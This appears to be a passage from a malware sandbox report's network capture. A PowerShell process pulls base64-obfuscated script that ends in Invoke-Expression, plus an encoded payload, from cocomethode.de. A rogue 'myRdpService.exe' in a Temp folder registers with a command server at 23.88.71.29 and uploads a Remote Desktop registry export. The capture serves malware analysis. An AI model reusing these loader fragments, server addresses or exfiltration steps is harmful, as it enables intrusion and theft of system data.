Dec 11, 2024 12:15:10.561625957 CET	362	IN	Data Raw: 31 36 33 0d 0a 31 37 33 33 39 31 35 37 31 30 7c 67 59 76 46 59 30 57 7a 6c 63 59 4d 73 68 73 39 41 45 78 47 79 51 46 4f 72 69 6a 43 32 50 45 6a 61 47 65 31 70 39 72 4d 42 36 6b 34 6d 43 79 69 43 54 58 35 4a 43 43 64 6a 73 49 38 38 52 50 4c 2f 74 Data Ascii: 1631733915710\|gYvFY0WzlcYMshs9AExGyQFOrijC2PEjaGe1p9rMB6k4mCyiCTX5JCCdjsI88RPL/tQzemn4e0+CZfpLik4hPWCBuD9SY4Ik7AjL2PWNKzoIoJGwWElcq+6gYIQnpvHtREzNXN3urL2VnWUee4/GEml0/rKRFrcSEa9oj8Yv0UMyneswy9k6wINmOT6UWo27HuMiqwhVjowMUpJOMt4iF16cdIw6ZUcyTnD
Dec 11, 2024 12:15:10.561634064 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49842	23.88.71.29	8000	4300	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:16:16.130820990 CET	164	OUT	GET /client/ws HTTP/1.1 Host: 23.88.71.29:8000 Connection: Upgrade Upgrade: websocket Sec-WebSocket-Key: 7oXiB4YgSk+gCYoJhUsvsQ== Sec-WebSocket-Version: 13
Dec 11, 2024 12:16:16.873985052 CET	842	IN	HTTP/1.1 101 Switching Protocols Upgrade: Websocket Server: Microsoft-IIS/8.5 Sec-Websocket-Accept: KRsp3z61fWoRhLEE4/YntPgUujk= CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D2Naw0OeDm4qzVHBalATNzQU%2Fh%2FnPwW5X0Cl4JVaWFC3C%2FQm7ghmGcJVNgxolHIoXMteEo%2BEYBsqEUU18zAK2oBDpOGuSTMtrMZUZjtY9LIuwTzm86%2Bx%2FPqOICVlAD820QY2sflCXDWP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f050fc198b69293-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5444&min_rtt=5444&rtt_var=2722&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=307&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Connection: Upgrade Date: Wed, 11 Dec 2024 11:16:16 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49843	23.88.71.29	8000	4300	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:16:20.646168947 CET	234	OUT	POST /api/registry HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: application/json Content-Length: 102 Data Raw: 22 45 43 41 34 45 37 46 36 34 35 43 45 41 42 43 46 31 34 31 44 36 30 32 43 43 33 30 38 39 36 37 32 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "ECA4E7F645CEABCF141D602CC3089672\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
Dec 11, 2024 12:16:21.489192009 CET	807	IN	HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QdOYY8rxn3NJYYzF%2FboLIJOr4rZrTRlVlAN0DhK4tV2B%2BRRttYv87hHFRZUBuxln7zz86Cik7%2BOIQnFFSgmUfz9DcEm1RPoWhamyK3%2BCIzHDLeiOm4TzZnn4rpTG%2FEPB8DSpsnR728FH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f050fddc9f94d64-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6063&min_rtt=6063&rtt_var=3031&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=380&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 11:16:21 GMT Content-Length: 32 Data Raw: 36 63 63 65 37 31 38 32 64 35 30 65 64 33 64 37 65 36 31 31 34 36 36 63 63 65 61 66 61 35 65 32 Data Ascii: 6cce7182d50ed3d7e611466cceafa5e2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49844	23.88.71.29	8000	4300	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:16:21.706253052 CET	1289	OUT	POST /api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2 HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=---------------------8dd19ab547cdb55 Content-Length: 5689 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 61 62 35 34 37 63 64 62 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 [TRUNCATED] Data Ascii: -----------------------8dd19ab547cdb55Content-Disposition: form-data; name="file"; filename="regBackup.reg"Content-Type: application/octet-streamWindows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]"DependOnService"=hex(7):52,00,50,00,43,00,53,00,53,00,00,00,00,00"Description"="@%SystemRoot%\\System32\\termsrv.dll,-267""DisplayName"="@%SystemRoot%\\System32\\termsrv.dll,-268""ErrorControl"=dword:00000001"FailureActions"=hex:80,51,01,00,00,00,00,00,00,00,00,00,03,00,00,00,14,00,00,\ 00,01,00,00,00,60,ea, [TRUNCATED]
Dec 11, 2024 12:16:22.169960976 CET	839	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qxbbudFm94Ijuxao4R%2BgZDE2dCAcUhPk0KqxqGHPrm2pLMKy3cuaD8iItiotRq%2B9prPGNAKvfc7VJZ%2BetzLWz4aPsG%2BjCOeddZ7Ww0fxn61VurAZMwtc9eJIlPc0qEfxY7cXky3sZmHU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f050fe468f04d64-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6009&min_rtt=5585&rtt_var=2380&sent=9&recv=11&lost=0&retrans=0&sent_bytes=820&recv_bytes=6478&delivery_rate=518006&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 11:16:21 GMT Content-Length: 41 Data Raw: 46 69 6c 65 20 72 65 67 42 61 63 6b 75 70 2e 72 65 67 20 75 70 6c 6f 61 64 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e Data Ascii: File regBackup.reg uploaded successfully.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49812	172.67.128.139	443	8860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:23 UTC	165	OUT	GET /fbJ5ex HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:14:24 UTC	1242	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:24 GMT Content-Type: application/octet-stream Content-Length: 6460 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=akfaVD%2B%2FMj8vCB7tLkyHZ7QJoRK6YeW1f7lZSei8giT7wJC0%2B6ofbslBYm7u08S5qZWiOlQQlSVpNqlgoFXXtw1feKtACcHXHpWK43QWHHHOWAZYVoYNzlS0fbYKINyWjQIgMsczyjrM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=47694&min_rtt=911&rtt_var=16096&sent=13147&recv=6153&lost=0&retrans=0&sent_bytes=18601436&recv_bytes=276956&delivery_rate=40807453&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d03dd72bf7d-ATL server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=41&rtt_var=17&sent=6&recv=8&lost=0&retrans=0&sent_bytes=4955&recv_bytes=1710&delivery_rate=1212648148&cwnd=207&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=56&min_rtt=55&rtt_var=22&sent=3&recv=5&lost=0&retrans=0&sent_bytes=4158&recv_bytes=1065&delivery_rate=1190600000&cwnd=32&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:24 UTC	219	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 38 32 31 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 38 38 26 72 74 74 5f 76 61 72 3d 32 34 30 35 35 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 34 26 72 65 63 76 5f 62 79 74 65 73 3d 37 37 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 33 30 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 34 31 34 37 38 65 63 63 64 34 64 33 33 36 66 39 26 74 73 3d 35 39 33 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113821&min_rtt=113788&rtt_var=24055&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=779&delivery_rate=33630&cwnd=252&unsent_bytes=0&cid=41478eccd4d336f9&ts=593&x=0"
2024-12-11 11:14:24 UTC	1277	IN	Data Raw: 24 71 79 78 64 6f 6e 6e 77 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 5a 32 5a 55 63 30 35 44 61 56 49 77 53 55 51 77 5a 30 74 46 5a 47 78 6b 51 7a 46 45 59 56 63 78 53 6d 4a 75 54 6a 42 5a 56 7a 56 71 57 6c 4e 43 57 47 46 58 4e 48 70 4e 62 44 6c 52 59 55 68 73 65 6d 46 58 54 6d 68 69 52 54 46 73 59 6c 63 35 65 57 56 54 51 6a 68 4a 52 54 46 73 57 56 68 4f 4d 57 4e 74 56 58 52 55 4d 6b 70 78 57 6c 64 4f 4d 45 6c 44 4d 56 46 6a 62 54 6c 33 57 6c 68 4b 4d 47 56 54 51 6b 52 5a 57 45 4a 6f 57 54 4a 73 4d 47 56 54 51 58 52 56 4d 31 5a 30 53 31 4d 31 56 47 52 58 4d 47 64 4d 65 Data Ascii: $qyxdonnw=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Z2ZUc05DaVIwSUQwZ0tFZGxkQzFEYVcxSmJuTjBZVzVqWlNCWGFXNHpNbDlRYUhsemFXTmhiRTFsYlc5eWVTQjhJRTFsWVhOMWNtVXRUMkpxWldOMElDMVFjbTl3WlhKMGVTQkRZWEJoWTJsMGVTQXRVM1Z0S1M1VGRXMGdMe
2024-12-11 11:14:24 UTC	1369	IN	Data Raw: 69 4d 6b 35 73 59 7a 4e 4e 5a 32 52 48 61 47 78 4a 52 30 35 32 59 6d 35 53 62 47 4a 75 55 57 64 68 56 31 6c 6e 5a 45 64 6f 62 45 6c 49 53 6d 78 6a 57 46 5a 73 59 7a 4e 52 5a 32 46 59 54 57 64 6a 4d 31 5a 71 57 54 4a 57 65 6d 4d 79 57 6a 46 69 51 54 42 4c 53 6b 64 4b 4e 57 52 48 56 6b 4a 6a 62 6b 70 6f 5a 56 4e 42 4f 55 6c 44 55 6d 70 69 4d 6a 55 77 57 6c 63 31 4d 45 78 74 54 6e 5a 69 62 6c 4a 73 59 6d 35 52 54 6b 4e 74 57 6e 5a 6a 61 55 46 76 53 6b 64 72 5a 31 42 54 51 58 64 50 65 55 46 72 59 56 4e 42 64 47 4a 49 55 57 64 4b 52 30 6f 31 5a 45 64 57 51 6d 4e 75 53 6d 68 6c 55 7a 56 4e 57 6c 63 31 62 6d 52 48 5a 7a 64 4a 51 31 4a 77 53 33 6c 7a 63 45 6c 49 63 32 64 45 55 57 39 6e 53 55 4e 42 5a 30 70 48 53 6a 56 6b 52 31 5a 43 59 32 35 4b 61 47 56 57 63 32 Data Ascii: iMk5sYzNNZ2RHaGxJR052Ym5SbGJuUWdhV1lnZEdobElISmxjWFZsYzNRZ2FYTWdjM1ZqWTJWemMyWjFiQTBLSkdKNWRHVkJjbkpoZVNBOUlDUmpiMjUwWlc1MExtTnZiblJsYm5RTkNtWnZjaUFvSkdrZ1BTQXdPeUFrYVNBdGJIUWdKR0o1ZEdWQmNuSmhlUzVNWlc1bmRHZzdJQ1JwS3lzcElIc2dEUW9nSUNBZ0pHSjVkR1ZCY25KaGVWc2
2024-12-11 11:14:24 UTC	1369	IN	Data Raw: 78 30 59 30 63 35 65 57 52 44 5a 32 6c 6b 57 45 35 73 59 32 70 4e 65 55 78 74 55 6e 4e 69 51 30 6c 77 57 46 4e 43 64 32 52 58 53 6e 4e 68 56 30 31 6e 59 7a 4e 53 61 47 52 48 62 47 70 4a 52 31 59 30 5a 45 64 57 65 57 4a 70 51 6e 42 69 62 6c 46 6e 56 54 4a 6f 64 6d 51 78 5a 48 42 69 62 56 4a 32 5a 48 6c 6f 53 6d 4a 75 55 6c 46 6b 53 45 6c 6e 59 55 5a 6b 64 56 70 44 64 32 64 68 56 7a 55 77 53 55 63 31 52 47 4a 58 55 6c 52 68 52 7a 6b 7a 53 31 52 7a 5a 31 63 77 55 6e 4e 69 52 57 78 30 59 30 63 35 65 57 52 44 5a 32 6c 6b 57 45 35 73 59 32 70 4e 65 55 78 74 55 6e 4e 69 51 30 6c 77 57 46 4e 43 64 32 52 58 53 6e 4e 68 56 30 31 6e 59 7a 4e 53 61 47 52 48 62 47 70 4a 52 31 59 30 5a 45 64 57 65 57 4a 70 51 6b 70 69 62 6c 4a 52 5a 45 68 4a 5a 31 49 79 56 6a 42 53 62 Data Ascii: x0Y0c5eWRDZ2lkWE5sY2pNeUxtUnNiQ0lwWFNCd2RXSnNhV01nYzNSaGRHbGpJR1Y0ZEdWeWJpQnBiblFnVTJodmQxZHBibVJ2ZHloSmJuUlFkSElnYUZkdVpDd2dhVzUwSUc1RGJXUlRhRzkzS1RzZ1cwUnNiRWx0Y0c5eWRDZ2lkWE5sY2pNeUxtUnNiQ0lwWFNCd2RXSnNhV01nYzNSaGRHbGpJR1Y0ZEdWeWJpQkpiblJRZEhJZ1IyVjBSb
2024-12-11 11:14:24 UTC	1369	IN	Data Raw: 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 54 6d 39 75 55 48 56 69 62 41 3d 3d 22 29 29 3b 0a 24 77 69 68 66 67 6a 74 6a 6b 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 5a 57 35 68 59 6d 78 6c 5a 41 3d 3d 22 29 29 3b 0a 24 7a 74 72 7a 76 62 68 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a Data Ascii: Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm9uUHVibA=="));$wihfgjtjk=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZW5hYmxlZA=="));$ztrzvbh=[System.Text.Encoding]::ASCII.GetString([System.Convert]:
2024-12-11 11:14:24 UTC	1076	IN	Data Raw: 3d 22 29 29 3b 0a 24 68 6a 74 66 75 70 73 6e 75 6a 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 5a 46 68 43 62 55 6c 45 4d 47 64 4b 53 46 4a 35 5a 46 64 56 50 51 3d 3d 22 29 29 3b 0a 24 71 70 61 79 6d 7a 70 75 67 64 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 53 6b 63 78 4d 6d 46 75 5a 48 42 6b 56 31 4a 78 57 6d 31 6b 4d 67 3d 3d 22 29 29 3b 0a 49 6e 76 6f 6b 65 2d 45 78 70 72 65 73 73 69 Data Ascii: ="));$hjtfupsnuj=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZFhCbUlEMGdKSFJ5ZFdVPQ=="));$qpaymzpugd=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkcxMmFuZHBkV1JxWm1kMg=="));Invoke-Expressi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49814	172.67.128.139	443	8860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:25 UTC	369	OUT	GET /file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/211 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:14:26 UTC	1321	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:26 GMT Content-Type: application/octet-stream Content-Length: 2876 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i0jaIwj7vkHd8EgwM4cM47Ghee9UGgyYWtEIMmZrXnyDuCOGO0inJpDKNGvHYRm1D904YzthLarO1Dx7zHv0JaFcT0NejLmZye9qZodhZvMAE%2F0HEXeXY9XcOI3yOnCguggi0jsgA1iF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=40764&min_rtt=1355&rtt_var=24444&sent=5496&recv=2763&lost=0&retrans=0&sent_bytes=7553038&recv_bytes=488993&delivery_rate=22783635&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d115cf8bd32-ATL server-timing: cfL4;desc="?proto=TCP&rtt=58&min_rtt=51&rtt_var=17&sent=6&recv=8&lost=0&retrans=0&sent_bytes=11190&recv_bytes=1636&delivery_rate=1283980392&cwnd=94&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113744&min_rtt=113719&rtt_var=24029&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1007&delivery_rate=33658&cwnd=252&unsent_bytes=0&cid=38979b6c164fc5ba&ts=590&x=0"
2024-12-11 11:14:26 UTC	48	IN	Data Raw: 25 72 6d 77 74 74 76 72 6e 6c 62 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 Data Ascii: %rmwttvrnlb<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRus
2024-12-11 11:14:26 UTC	1369	IN	Data Raw: 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 63 47 6a 7b 54 6c 53 4b 50 30 4b 7b 58 6b 4b 6a 55 6c 4c 78 58 33 65 4d 54 55 43 4d 53 47 47 77 5b 31 6d 45 50 56 65 4b 64 54 4b 44 58 6b 48 30 4c 6d 71 58 52 6b 43 4b 53 31 71 33 56 6a 69 73 5b 33 53 49 4e 46 65 6b 4c 30 4b 34 58 57 62 30 63 6a 53 53 63 33 65 4b 50 31 47 6f 52 6a 69 4e 4c 46 4f 75 63 49 57 60 4c 44 71 33 56 6a 69 73 5b 30 43 55 50 6c 4b 6b 4c 30 4b 34 58 57 62 30 63 6d 69 55 5b 33 75 68 53 7b 6d 74 57 47 69 4e 63 6a 6d 48 65 33 65 53 4c 6b 6d 30 5b 46 30 56 64 56 53 46 54 6f 5b 4c 57 59 43 37 58 6b 48 31 62 44 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 52 62 33 48 78 5b 44 34 60 56 44 34 37 56 57 65 6a 63 46 4f 34 50 55 6d Data Ascii: hof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#cGj{TlSKP0K{XkKjUlLxX3eMTUCMSGGw[1mEPVeKdTKDXkH0LmqXRkCKS1q3Vjis[3SINFekL0K4XWb0cjSSc3eKP1GoRjiNLFOucIW`LDq3Vjis[0CUPlKkL0K4XWb0cmiU[3uhS{mtWGiNcjmHe3eSLkm0[F0VdVSFTo[LWYC7XkH1bD82LDuKP1GoRTORb3Hx[D4`VD47VWejcFO4PUm
2024-12-11 11:14:26 UTC	1369	IN	Data Raw: 56 53 45 50 55 6d 4b 53 56 79 30 5b 46 31 34 62 6d 71 55 4c 57 69 60 57 31 71 55 56 6d 69 46 4c 57 71 58 55 6b 43 4b 50 7b 47 56 58 33 30 73 5b 31 71 48 57 6f 6d 69 54 31 47 31 57 6d 69 4e 63 47 47 75 53 6f 71 69 57 31 34 53 56 57 69 4a 64 6c 47 59 4f 56 34 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 73 56 56 34 72 4c 47 71 57 53 6f 6d 6b 63 54 58 30 52 54 50 76 5b 31 71 49 55 6f 5b 68 63 6d 4b 72 58 6c 34 53 65 57 6a 78 4e 59 57 6a 53 30 5b 30 5b 44 53 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 71 75 4e 59 6d 4b 50 33 65 73 58 57 4f 43 4e 54 6d 44 50 55 65 4b 50 30 4b 76 52 54 4c 79 62 33 53 45 50 56 75 5b 63 6c 76 76 56 6d 57 46 64 56 4f 75 53 6b 57 4c 60 32 69 72 58 6c 30 6a 4c 46 47 44 62 33 65 4a 53 33 75 78 52 32 6d 73 Data Ascii: VSEPUmKSVy0[F14bmqULWi`W1qUVmiFLWqXUkCKP{GVX30s[1qHWomiT1G1WmiNcGGuSoqiW14SVWiJdlGYOV4Qe{CMRTOC[1mEPVeKP1GsVV4rLGqWSomkcTX0RTPv[1qIUo[hcmKrXl4SeWjxNYWjS0[0[DS{UjOqPVeKP1GoRTOC[0quNYmKP3esXWOCNTmDPUeKP0KvRTLyb3SEPVu[clvvVmWFdVOuSkWL`2irXl0jLFGDb3eJS3uxR2ms
2024-12-11 11:14:26 UTC	90	IN	Data Raw: 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 29 25 62 6d 6d 6e 71 64 70 79 69 60 21 2a 21 25 72 6d 77 74 74 76 72 6e 6c 62 28 28 28 28 3a 0b Data Ascii: ehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof))%bmmnqdpyi`!*!%rmwttvrnlb((((:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49815	172.67.128.139	443	8860	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:26 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba1f376859e645b2882acd210a88d031b0 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:14:26 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 61 36 63 36 38 65 64 61 35 65 62 32 66 32 65 32 34 66 36 62 37 31 62 62 37 35 64 64 63 36 64 35 30 37 61 35 66 65 34 36 38 33 31 36 64 64 38 32 37 34 33 32 31 37 34 39 31 63 37 64 65 61 36 38 39 35 34 65 36 32 66 62 30 35 66 32 32 33 34 31 34 36 64 30 32 64 66 66 36 37 61 38 32 35 30 39 35 39 39 62 32 38 33 36 31 37 34 35 34 37 36 32 32 64 30 65 65 38 66 65 32 35 36 61 34 31 31 32 36 34 36 38 65 62 35 62 39 36 35 66 31 37 33 30 65 36 36 32 66 38 66 63 32 31 64 39 33 34 33 34 63 35 31 38 62 63 37 37 30 36 65 31 39 64 36 33 30 37 33 37 33 32 31 34 31 64 36 66 32 31 30 31 36 63 36 37 63 30 33 62 64 Data Ascii: [ "\"begin download https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bd
